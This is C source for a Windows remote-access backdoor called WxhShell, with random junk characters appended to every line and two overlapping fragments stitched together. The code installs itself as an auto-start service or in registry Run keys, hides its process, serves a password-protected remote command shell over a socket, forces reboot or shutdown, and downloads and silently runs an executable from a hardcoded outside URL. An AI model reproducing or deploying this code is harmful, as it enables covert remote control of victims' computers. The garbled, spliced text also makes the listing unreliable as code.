  case 'd': { f7&9IW`7F^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); mTLJajE/  
    if(Boot(SHUTDOWN)) k\-h-0[|  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HmbQL2  
    else { $#E!/vVwD7  
    closesocket(wsh); N{uVh;_  
    ExitThread(0); plM:7#eA  
    } _Sl3)  
    break; ==EB\>g|  
    } U|x#'jGo'  
  // 获取shell [gj>ey8T  
  case 's': { @]Lu"h#u=  
    CmdShell(wsh); LX#gc.c  
    closesocket(wsh); 8k;il54#  
    ExitThread(0); #gXxBM  
    break; iWIq~t*,H]  
  } }l Gui>/D  
  // 退出 \J(kM,ZJ  
  case 'x': { 9T0g%&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); `yO'-(@"gY  
    CloseIt(wsh);  BO.Db``  
    break; q`UaJ_7  
    } 0e1-ZP CDj  
  // 离开 ~EU\\;1Rmq  
  case 'q': { WWATG=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #\\|:`YV  
    closesocket(wsh); -_XTy!I  
    WSACleanup(); /y(0GP4A  
    exit(1); q}W})  
    break; )W&{OMr  
        } W:K '2j  
  }  45WJb+$  
  } fg4mP_  
U*?`tdXJ$  
  // 提示信息 Zn[ppsz|  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); qQ 8+gZG$R  
} ABcB-V4  
  } nlA:C>=  
n}c~+ 0`un  
  return; M{4XNE]m  
} l z-I[*bA  
}Eh &'  
// shell模块句柄 O&,8X-Ix  
int CmdShell(SOCKET sock) JfmYr47Pv  
{ W2'!Pc,W  
STARTUPINFO si; x,ZF+vE  
ZeroMemory(&si,sizeof(si)); w^U{e xo  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; [v\m)5  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %Aqf=R_^  
PROCESS_INFORMATION ProcessInfo; $lq.*UQ;0  
char cmdline[]="cmd"; SmIcqM  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4]6-)RHFB  
  return 0; <>728;/C  
} 6&il>  
dFy GI?  
// 自身启动模式 7Gy:T47T\@  
int StartFromService(void) A0:rn\$l3  
{ dCe LW  
typedef struct );kD0FO1|  
{ qG ? :Q  
  DWORD ExitStatus; n>w<vM  
  DWORD PebBaseAddress; ]Y!x7  
  DWORD AffinityMask; V:vqt@  
  DWORD BasePriority; 2=/-,kOL_  
  ULONG UniqueProcessId; zTc*1(^  
  ULONG InheritedFromUniqueProcessId; T5z]=Pd"^  
}   PROCESS_BASIC_INFORMATION; Q<gUu^rq  
`.J17mQe"  
PROCNTQSIP NtQueryInformationProcess; 5~j#Z (}u  
A\#z<h[>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w ?*eBLJ(G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A+3SLB  
~clX2U8u`  
  HANDLE             hProcess; Rc &m4|cw7  
  PROCESS_BASIC_INFORMATION pbi; C511 hbF  
aYDo0?kF'  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O1bW, n(  
  if(NULL == hInst ) return 0; ;lvcg)}l  
T6QRr}8`/J  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Id&e'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ex6R=97uA  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hzRKv6  
g5lb3`a3  
  if (!NtQueryInformationProcess) return 0; tRZ4\Bu  
.6xMLo,R  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); m uy^>2p  
  if(!hProcess) return 0; Q$v00z]f*  
-J8Hsqf@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ixSr*+  
=*"8N-FU  
  CloseHandle(hProcess); ]Yw$A  
ts9wSx~[+  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a[ayr$Hk?  
if(hProcess==NULL) return 0; G!;PV^6x  
],k~t5+  
HMODULE hMod; ][ IOlR  
char procName[255]; 9@yF7  
unsigned long cbNeeded; ');vc~C  
rQyjNh  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); }ML2-k  
q\~ #g.}  
  CloseHandle(hProcess); -z0;4O (K]  
iER@_?  
if(strstr(procName,"services")) return 1; // 以服务启动  tH44\~  
 ]%FAJ\  
  return 0; // 注册表启动 a4*976~![  
} f:ObI  
/s} "0/Y\  
// 主模块 f&mi nBU  
int StartWxhshell(LPSTR lpCmdLine) 1P*hC<  
{ yCvtglAJ4  
  SOCKET wsl; S#?2E8  
BOOL val=TRUE; ninWnQq  
  int port=0; -v.\W y~\  
  struct sockaddr_in door; &i(Ip'r  
5l 3PAG  
  if(wscfg.ws_autoins) Install(); ]B?M3`'>  
Uq$/Q7  
port=atoi(lpCmdLine); .<F46?HS  
Dzf\m>H[  
if(port<=0) port=wscfg.ws_port; >%om[]0E  
)Wr_*>xj  
  WSADATA data; !Yv_V]u=  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]i@73h YT  
}`g-eF >p  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   DZtpY {=Z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >Vjn]V5y  
  door.sin_family = AF_INET; W>C?a=r~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); YnRO>`  
  door.sin_port = htons(port); X<$Tn60,  
@,TIw[p  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { jD6HCIjd'  
closesocket(wsl); Q_|}~4_+  
return 1; 8c+V$rH_  
} "(7y% TFt:  
A*?PH`bY  
  if(listen(wsl,2) == INVALID_SOCKET) { )q-NE)  
closesocket(wsl); Syy{ ^Ae}  
return 1; 7I XWv-  
} _huJ*W7lR  
  Wxhshell(wsl); wW1VOj=6V"  
  WSACleanup();  E|"SM A,  
KE~Q88s  
return 0; Nw1*);b[y  
+w^,!gA&  
} jts0ZFHc-  
)>:~XA|?  
// 以NT服务方式启动 A}(]J!rc  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  pE)NSZ  
{ _&hM6N  
DWORD   status = 0; mi7?t/D1Z  
  DWORD   specificError = 0xfffffff; B_Q{B|eEt&  
)|xu5.F  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q_0+N3  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; aC\f;&P >  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z&amYwQcI  
  serviceStatus.dwWin32ExitCode     = 0; 9 A ?{}c  
  serviceStatus.dwServiceSpecificExitCode = 0; Zek@xr;]  
  serviceStatus.dwCheckPoint       = 0; WJh TU@'  
  serviceStatus.dwWaitHint       = 0; {MUiK 5:  
,%*UF6B M  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); BX0lk  
  if (hServiceStatusHandle==0) return; Op ar+|p\  
k773h`;  
status = GetLastError(); ES&u*X:  
  if (status!=NO_ERROR) 7qB4_  
{ (4cdkL  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a+cMXMf  
    serviceStatus.dwCheckPoint       = 0; .cHgYHa  
    serviceStatus.dwWaitHint       = 0; !Ud'(iGa  
    serviceStatus.dwWin32ExitCode     = status; l5{60$g  
    serviceStatus.dwServiceSpecificExitCode = specificError; m6ge %  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w5HIR/kP  
    return; ='o3<}  
  } 0w3c8s.  
FfJ;r'eGs  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ?l/6DT>e  
  serviceStatus.dwCheckPoint       = 0; Q:(mK* _  
  serviceStatus.dwWaitHint       = 0; wS*r<zj  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); #XDgvX >  
} =#V^t$  
Z)`)9]*  
// 处理NT服务事件,比如:启动、停止 Kq3c Kp4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) xR0T' @q  
{ eut2x7Z(c  
switch(fdwControl) iQgg[ )  
{ %;k Hnl  
case SERVICE_CONTROL_STOP: `s CwgY+  
  serviceStatus.dwWin32ExitCode = 0; w+ R/>a( ]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 2F:qaz  
  serviceStatus.dwCheckPoint   = 0; z3+@[I$  
  serviceStatus.dwWaitHint     = 0; .d1ff] ;  
  { Ds">eNq  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kP ]Up&'  
  } RhE~-b[X  
  return; Ik0g(-d  
case SERVICE_CONTROL_PAUSE: (?|M'gZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; VV$t*9w  
  break; ,/{e%J  
case SERVICE_CONTROL_CONTINUE: k."p&  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \~ D(ww  
  break; - eG~  
case SERVICE_CONTROL_INTERROGATE: 2IJK0w@  
  break; H{*D c_  
}; \;X7DK2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); +lx& $mr?  
} Gaix6@X6'  
4b2d(x)0X  
// 标准应用程序主函数 FOXSs8"c]!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) /sA&}kX}E  
{ UY< PiP  
8F}drK9>F  
// 获取操作系统版本 1hG#  
OsIsNt=GetOsVer(); )!"fUz$  
GetModuleFileName(NULL,ExeFile,MAX_PATH); WTfjn |a  
m\`>N_4*9  
  // 从命令行安装 f jx`|MJ  
  if(strpbrk(lpCmdLine,"iI")) Install(); nqyD>>  
,dIev<  
  // 下载执行文件 xqG<R5k>>  
if(wscfg.ws_downexe) {  ? }M81  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) j]BRfA  
  WinExec(wscfg.ws_filenam,SW_HIDE); Tlw'05\{J  
} Jl/wP   
WoEK #,I;  
if(!OsIsNt) { KxkBP/`3Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 b7QE  
HideProc(); Za:j;u Y  
StartWxhshell(lpCmdLine); &jP1Q3  
} oACAC+CP  
else Nc:s+ o  
  if(StartFromService()) %!<Y  
  // 以服务方式启动 }UhYwJf89  
  StartServiceCtrlDispatcher(DispatchTable); dvB=Zk]m  
else  /|0-O''  
  // 普通方式启动 +=3=%%?C  
  StartWxhshell(lpCmdLine); 6X \g7bg  
<Y]LY_(  
return 0; tk"+ u_uw  
} sK}AS;:  
Fv$tl)p*  
4ijtx)SA  
T }#iXgyx  
=========================================== Hb)FeGsd).  
ax&?Z5%a  
|6E_N5~  
}Pcm'o_wT  
2d&F<J<sU  
;k<dp7^  
" IzP,)!EE  
:7v'[b  
#include <stdio.h> b:dN )m  
#include <string.h> 6_j |@  
#include <windows.h> &$MC!iMh  
#include <winsock2.h> n>Ff tVZNJ  
#include <winsvc.h> C96/   
#include <urlmon.h> R_!.vGhkN  
P%3pM*.  
#pragma comment (lib, "Ws2_32.lib") 8z9 {H  
#pragma comment (lib, "urlmon.lib") p `"k=tZ{  
aB ,-E>+  
#define MAX_USER   100 // 最大客户端连接数 4zoQe>v~  
#define BUF_SOCK   200 // sock buffer [X(4( 1i  
#define KEY_BUFF   255 // 输入 buffer aFnel8  
\9?[|m z  
#define REBOOT     0   // 重启 5n@YNaoIb  
#define SHUTDOWN   1   // 关机 UqP{Cyy{  
]\(8d[ 4  
#define DEF_PORT   5000 // 监听端口 {&51@UX  
/(dP)ysc  
#define REG_LEN     16   // 注册表键长度 *1)>He$qL  
#define SVC_LEN     80   // NT服务名长度 ![_x/F9  
'cD?0ou`o  
// 从dll定义API pQz1!0  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); kaBjA*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V b0T)C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y9:4n1fg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Tgdy;?  
+ jLy>=u  
// wxhshell配置信息 ^b8~X [1J_  
struct WSCFG { y4^u&0}0$  
  int ws_port;         // 监听端口 "=h1gql'  
  char ws_passstr[REG_LEN]; // 口令 xcB\Y:   
  int ws_autoins;       // 安装标记, 1=yes 0=no vSgT36ZF  
  char ws_regname[REG_LEN]; // 注册表键名 P?0X az  
  char ws_svcname[REG_LEN]; // 服务名 t<H"J__&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 At Wv9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @*6fEG{,q  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 a|ufm^ F  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *6Wiq5M>.  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (V{/8%mWc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8Y($ F2  
M(-)\~9T  
}; Ca2r<|uA  
LP vp (1  
// default Wxhshell configuration EZUaYp ~M  
struct WSCFG wscfg={DEF_PORT, tB_le>rhl  
    "xuhuanlingzhe", 3lP;=* m.  
    1, 'a~@q~!  
    "Wxhshell", ~ ld.I4  
    "Wxhshell", 2dn^K3  
            "WxhShell Service", 7({)ou x  
    "Wrsky Windows CmdShell Service", <kn 2  
    "Please Input Your Password: ", -C=0Pg]ga  
  1, `[/#, *\  
  "http://www.wrsky.com/wxhshell.exe", <L}@p8Lq  
  "Wxhshell.exe"  ? wS}'  
    }; )jM%bUk,!  
8!_jZf8  
// 消息定义模块 gQnr.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3jx%]S^z|  
char *msg_ws_prompt="\n\r? for help\n\r#>"; t~Q 9} +  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; r.C6` a  
char *msg_ws_ext="\n\rExit."; oRV}Nz7hr  
char *msg_ws_end="\n\rQuit."; Rh=" <'d  
char *msg_ws_boot="\n\rReboot..."; e5L+NPeM6v  
char *msg_ws_poff="\n\rShutdown..."; l<=;IMWd  
char *msg_ws_down="\n\rSave to "; 59E9K)c3  
I7ao2aS  
char *msg_ws_err="\n\rErr!"; =ZgueUz,  
char *msg_ws_ok="\n\rOK!"; iE%"Q? Q/  
{[y6qQm  
char ExeFile[MAX_PATH]; IiYL2JS;t|  
int nUser = 0; xR+vu>f  
HANDLE handles[MAX_USER]; N`8K1{>BH  
int OsIsNt; ]2AOW}=  
@Z5q2Q  
SERVICE_STATUS       serviceStatus; k/K)nH@)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; RXgb/VR  
'HA{6v,y  
// 函数声明 #6 M] tr  
int Install(void); 5y#,z`S  
int Uninstall(void); 8v$q+Wic  
int DownloadFile(char *sURL, SOCKET wsh); E0Wc8m"  
int Boot(int flag); T7[@ lMa?  
void HideProc(void); O NabL.CV  
int GetOsVer(void); N ,~O+  
int Wxhshell(SOCKET wsl); {cK<iQJ  
void TalkWithClient(void *cs); u0C:q`;z  
int CmdShell(SOCKET sock); 5KC Qvv\  
int StartFromService(void);  s*u A3}j  
int StartWxhshell(LPSTR lpCmdLine); i<uU_g'M  
q;{(o2g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bt}8ymcG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); {##G.n\~  
v?8WQNy  
// 数据结构和表定义 Ob0sB@  
SERVICE_TABLE_ENTRY DispatchTable[] = {oQs*`=l>  
{ 8}QM~&&.  
{wscfg.ws_svcname, NTServiceMain}, sW>%mnx  
{NULL, NULL} $>rt0LOF  
}; mGT('iTM4  
Iiy5;:CX:q  
// 自我安装 9{Hs1 MD[  
int Install(void) zJDHDr  
{ )nm+_U  
  char svExeFile[MAX_PATH]; 4n,&,R r#  
  HKEY key; K?.~}82c  
  strcpy(svExeFile,ExeFile); V)$!WPL@  
C5~#lNC  
// 如果是win9x系统,修改注册表设为自启动 a&s34Pd  
if(!OsIsNt) { kWzp*<lWe  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ff--y8h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iI GK "}  
  RegCloseKey(key); *|rdR2R!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .UK0bxoa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O&Y;/$w  
  RegCloseKey(key); WK%cbFq(  
  return 0; XYcZ;Z9:  
    } I9?\Jbqg  
  } g]~vZj  
} v({O*OR  
else { @-@Coy 4Tt  
!6/UwPs  
// 如果是NT以上系统,安装为系统服务 {vu\qXmMv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oO2DPcK  
if (schSCManager!=0) ?9 huuJ s7  
{ AR| 4^  
  SC_HANDLE schService = CreateService 91R# /i  
  ( h.<f%&)F  
  schSCManager, d`sZ"8}j  
  wscfg.ws_svcname, vC]X>P5Px  
  wscfg.ws_svcdisp, *byUqY3(  
  SERVICE_ALL_ACCESS, x^ s,<G  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f;E#CjlTL  
  SERVICE_AUTO_START, +d, ~h_7!  
  SERVICE_ERROR_NORMAL, ieyK$q  
  svExeFile, VDxm|7  
  NULL, k1Y\g'1  
  NULL, Ez1eGPVr  
  NULL, 9< mMU:  
  NULL, Wn<?_}sa|z  
  NULL A7 RI&g v5  
  ); yfl?\X{  
  if (schService!=0) #Xg;E3BM  
  { ^ :VH?I=  
  CloseServiceHandle(schService); C HnclT  
  CloseServiceHandle(schSCManager); F^l1WX6  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); gT}H B.  
  strcat(svExeFile,wscfg.ws_svcname); 1AJ6NBC&c  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Vgm*5a6t  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 80nEQT y  
  RegCloseKey(key); 7L~ *%j  
  return 0; :WB uU  
    } '#Wx@  
  } zs=3e~o3  
  CloseServiceHandle(schSCManager); 'sEnh<  
} OZ`cE5"i  
} #|9W9\f,  
XoN~d  
return 1; ZU 3Psj  
} X,Ql6uO  
@a8lF$<  
// 自我卸载 Tm" H9  
int Uninstall(void) oidZWy  
{ bQ*yXJ^8  
  HKEY key; 4 \z@Evm  
IO)Y0J>x  
if(!OsIsNt) { *7Vb([x4;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { BA\aVhmx  
  RegDeleteValue(key,wscfg.ws_regname); t<rIg1  
  RegCloseKey(key); <Jgcj 4D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { YZ~MByu  
  RegDeleteValue(key,wscfg.ws_regname); 6A"$9sj6  
  RegCloseKey(key); o U=vl!\J  
  return 0; Y"FV#<9@7E  
  } /pMOinuO  
} $N?8[  
} /k'7j*t Z  
else { )+ <w>pc  
$PJ==N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .IW`?9O$E  
if (schSCManager!=0) J[ }H^FR  
{ '!m6^*m|c  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 'lIs`Zc5N  
  if (schService!=0) ysnW3q!@  
  { 5>}$]d/o  
  if(DeleteService(schService)!=0) { rbvk.:"^w  
  CloseServiceHandle(schService); ' ]k<' `b|  
  CloseServiceHandle(schSCManager); FJvY`zqB  
  return 0; HXq']+iC  
  } JM7mQ'`Ud  
  CloseServiceHandle(schService); ?L<B]!9HZt  
  } |4\1V=(  
  CloseServiceHandle(schSCManager); #-yCR  
} ^s)`UZ<C=  
} W9SU1{*9  
Z],j|r Wy6  
return 1; ;21D^e  
} ytttF5-  
FWbp;v{  
// 从指定url下载文件 Z6I|Y5#H  
int DownloadFile(char *sURL, SOCKET wsh) UF"%FF  
{ vF^d40gV  
  HRESULT hr; Pb&tWv\ql  
char seps[]= "/"; @^| [J _4  
char *token; iil<zEic  
char *file; "2mPWRItO  
char myURL[MAX_PATH]; y% bIO6u:  
char myFILE[MAX_PATH]; 4c5BlD  
wnS,Jl  
strcpy(myURL,sURL); f.w",S^  
  token=strtok(myURL,seps); PK]3uh  
  while(token!=NULL) +byOThuE  
  { wOAR NrPx2  
    file=token; o/N!l]r  
  token=strtok(NULL,seps); h'*v$lt  
  } ACyK#5E  
Mj@2=c  
GetCurrentDirectory(MAX_PATH,myFILE); 7 $y;-[E[  
strcat(myFILE, "\\"); 4en3yA0.w  
strcat(myFILE, file); -[=~!Qr:  
  send(wsh,myFILE,strlen(myFILE),0); $a_y-lY  
send(wsh,"...",3,0); `'1g>Ebk0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); d]DV\*v  
  if(hr==S_OK) |5 V0_79  
return 0; [=K lDfU=  
else I?rB7 *:  
return 1;  [ <X%  
A.>mk598  
} cx[^D,usf~  
?[JP[ qS  
// 系统电源模块 J*;RL`  
int Boot(int flag) nH#>_R (  
{ C hF~  
  HANDLE hToken; Y-ao yoNS  
  TOKEN_PRIVILEGES tkp; UGAV"0  
<Y yE1 |  
  if(OsIsNt) { %7ngAIg  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hTDK[4e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); {s8c@-'  
    tkp.PrivilegeCount = 1; w;lpJ B\  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /h>g-zb  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); z:\9t[e4  
if(flag==REBOOT) { O},}-%G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ed6@o4D/kf  
  return 0; re*}a)iL  
} =Dn <DV  
else { wtS*-;W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 0:V /z3?  
  return 0; l5D)UO  
} 5f*_K6,v  
  } @f-:C+(Nsg  
  else { 4p"'ox#  
if(flag==REBOOT) { Bve|+c6W  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *qzdt^[ xo  
  return 0; zxn|]P bS  
} .~i|kc]Ue  
else { Go%Z^pF3CO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) VM$n|[C~  
  return 0; AYn65Ly  
} Fx^wV^q3  
} YPGM||  
-PpcFLZ|  
return 1; :;_ khno  
} T8+[R2_  
i.E2a)  
// win9x进程隐藏模块 BA h'H&;V  
void HideProc(void) ei5YxV6I  
{ }5+^  
P<vl+&*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >+{WiZ`  
  if ( hKernel != NULL ) Ksx-Y"  
  { =mYf] PIX  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); xSudDhRP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Xl4}S"a  
    FreeLibrary(hKernel); cKVFykwM  
  } owIpn=8|Q  
fOi Rstci  
return; ]?}>D?5  
} 0q5J)l:  
T<n`i~~  
// 获取操作系统版本 xX&B&"]5  
int GetOsVer(void) uU^DYgs  
{ y-hTTd"{  
  OSVERSIONINFO winfo; AqgY*"A7  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); iM!2m$'s  
  GetVersionEx(&winfo); &qbEF3p^@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) |S!R Q-CF  
  return 1; ):K%  
  else !FgZI4?/Y=  
  return 0; 72;'8  
} &GLDoLk6[  
MG=E 6:  
// 客户端句柄模块 ,-6Oma -  
int Wxhshell(SOCKET wsl) :|bL2T@>[  
{ vm@V5oH  
  SOCKET wsh; YYT;a$GTo  
  struct sockaddr_in client; M86"J:\u]  
  DWORD myID; p)SW(pS  
rn-bfzoDS  
  while(nUser<MAX_USER) NO~G4PUM0C  
{ ~9]vd|  
  int nSize=sizeof(client);  }#m9Q[  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vaeQ}F  
  if(wsh==INVALID_SOCKET) return 1; n.@HT"  
|[rn/  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _%CM<z e  
if(handles[nUser]==0) t oA}0MI(:  
  closesocket(wsh); y_9\07va<  
else Gi)Vr\Q.  
  nUser++; H q6%$!q  
  } UV2W~g  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); @ZISv'F  
dqB,i9--  
  return 0; AGFA;X  
} obvE m[x!Z  
f7*Qa!!2p]  
// 关闭 socket :u7BCV|yr  
void CloseIt(SOCKET wsh) <{W{ Y\_A>  
{ $z_yx `5  
closesocket(wsh); 7L #)yY  
nUser--; no+ m.B  
ExitThread(0); jj`#;Y  
}  N}5  
d}O\:\}y  
// 客户端请求句柄 h3 H Udu  
void TalkWithClient(void *cs) ZQlk 5  
{ '@Uu/~;h  
Q>$B.z  
  SOCKET wsh=(SOCKET)cs; OkC.e')Vx  
  char pwd[SVC_LEN]; E7O3$B8  
  char cmd[KEY_BUFF]; fnX[R2KZ  
char chr[1]; $2W#'_K+  
int i,j; syr0|K[  
6'r;6T *  
  while (nUser < MAX_USER) { {|oWU8.l  
'ayb`  
if(wscfg.ws_passstr) { B=OzP+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WD%(RC"Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WHx #;  
  //ZeroMemory(pwd,KEY_BUFF); uBts?02  
      i=0; bkdXBCBx?  
  while(i<SVC_LEN) { 5ih>x3S1/  
+[ ?!@)  
  // 设置超时 ` +YtTK  
  fd_set FdRead; 6 ZRc|ZQ  
  struct timeval TimeOut; \~8W0q.4M  
  FD_ZERO(&FdRead); 8(Az/@=n  
  FD_SET(wsh,&FdRead); ~ g!!#ad  
  TimeOut.tv_sec=8; p*PzfSLN  
  TimeOut.tv_usec=0; N~]qQ oj,  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); +Kgl/Wg%  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Un8' P8C  
]?]M5rP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z=8&`  
  pwd=chr[0]; #U-y<[ 3  
  if(chr[0]==0xd || chr[0]==0xa) { "&H'?N%9Up  
  pwd=0; A _TaXl(  
  break; - G>J  
  } PV\J] |d,%  
  i++; {- I+  
    } j)/Vtf  
oOprzxf"+Z  
  // 如果是非法用户,关闭 socket *m]Y6  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {*;8`+R&  
} K\ Wzh;  
bYLYJ`hH<R  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); x"Ll/E)\v]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Pt85q?->  
_xAru9=n^  
while(1) { kLzjK]4*  
xp1/@Pw?  
  ZeroMemory(cmd,KEY_BUFF); KGDN)@D  
(LsVd2AbR  
      // 自动支持客户端 telnet标准   <N<0?GQ  
  j=0; z$1|D{  
  while(j<KEY_BUFF) { (ORbhjl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EPW4 h/I  
  cmd[j]=chr[0]; hRXnig{;3  
  if(chr[0]==0xa || chr[0]==0xd) {  @N '_qu  
  cmd[j]=0; ;uAh)|;S#  
  break; >e;jGk?-  
  } ZN H-0mk  
  j++; 1 K}gX>F  
    } ~Q=;L>Qd  
97 SS0J  
  // 下载文件 oC" [rn  
  if(strstr(cmd,"http://")) { a)W|gx6Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y 22Ai  
  if(DownloadFile(cmd,wsh))  pF6u3]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f-#:3k*7S  
  else PI L)(%X  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vFHeGq70j  
